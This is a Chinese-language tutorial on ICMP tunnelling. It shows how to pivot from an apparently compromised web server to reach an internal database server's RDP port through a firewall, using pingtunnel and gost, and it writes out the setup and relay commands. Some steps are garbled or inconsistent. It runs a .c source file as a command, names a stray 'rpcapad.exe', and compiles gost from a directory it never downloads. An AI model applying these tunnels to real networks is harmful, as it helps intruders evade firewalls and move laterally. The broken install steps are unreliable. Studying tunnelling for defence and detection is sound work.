原理
# 为什么要建立隧道 在实际的网络中,通常会通过各种边界设备·软/硬件防火墙、入侵检测系统来检查对外连接的情况,如果发现异常,会对通信进行阻断。 # 什么是隧道 就是一种绕过端口屏蔽的方式,防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方通信,当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上 #常见的隧道列举如下: 网络层:ipv6隧道 icmp隧道 gre隧道 传输层:TCP隧道 UDP隧道 常规端口转发 应用层:SSH隧道 HTTP隧道 HTTPS隧道 DNS隧道
验证过程
icmp隧道适用情况
当目标主机未开启任何端口,但是可以接受ping,被控主机能够ping通对方时(并且防火墙不会阻拦icmp协议,不会阻挡ping命令在防火墙上通行)
icmp隧道搭建可用工具
icmpsh、 pingtunnel、icmptunnel、powershell icmp
环境配置(以pingtunnel为例)
# 场景举例 web服务器被控,但是vps与web服务器通信时,中间有防火墙拦截。web服务器无法访问数据库服务器,但是可以ping通,现在打算通过web服务器访问数据库服务器的3389端口,并且转发到vps的1080端口上,拓扑图如下所示。 1.在web服务器(windows系统)下载pingtunnel以及winpcap(用于编译pingtunnel) 2,web服务器端开启隧道 3,vps(linux系统)下载pingtunnel的tar.gz文件以及libpacap(函数库) 4,web服务器将数据库服务器的3389端口封装在icmp隧道,并且传送到vps的端口,访问vps的端口时就相当于访问数据库服务器的3389端口
-
pingtunnel下载地址
https://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
-
windows安装pingtunnel
下载tar.gz包之后,打开目录会看到如图下的.c文件,这个文件需要利用winpcap编译
-
下载winpcap
https://www.winpcap.org/install/bin/WinPcap_4_1_3.exe
-
将ptunnel右击运行方式为rpcapad.exe,在ptunnel文件位置运行cmd命令
ptunnel.c -x she //-x 指定隧道连接的验证密码
-
vps执行以下命令,在访问vps的1080端口时,会把数据库服务器的3389端口的数据封装在icmp隧道里,以web服务器为跳板进行传送
ptunnel -p vps的ip地址 -lp 1080 -da 数据库服务器ip -dp 3389 -x she //she为隧道密码,要和被控机器的隧道密码一致 -lp:指定要监听的本地tcp端口 -da:指定目标主机的ip地址 -dp:指定被控机器的tcp端口
出现以上截屏说明隧道建立成功,接下来连接这台主机的1080端口,即可访问数据库服务器的3389端口。
gost工具使用
工具安装
linux版
-
下载地址
https://dl.google.com/go/go1.23.0.linux-amd64.tar.gz
-
解压文件
tar -xzf go1.23.0.linux-amd64.tar.gz
-
来到目录gost/gost-master/cmd/gost,执行go build进行编译生成可执行文件
windows版
-
下载链接
https://codeload.github.com/go-gost/gost/zip/refs/heads/master
-
编译gost
来到下载的文件目录 \gost\gost-master\cmd\gost 在上面的目录位置运行cmd命令,并且执行go build编译
-
编译后会生成一个gost.exe文件
隧道搭建
-
服务器端
./gost -L relay+icmp://:0
-
客户端
gost.exe -L :8080 -F "relay+icmp://server_ip:12345?keepalive=true&ttl=10s"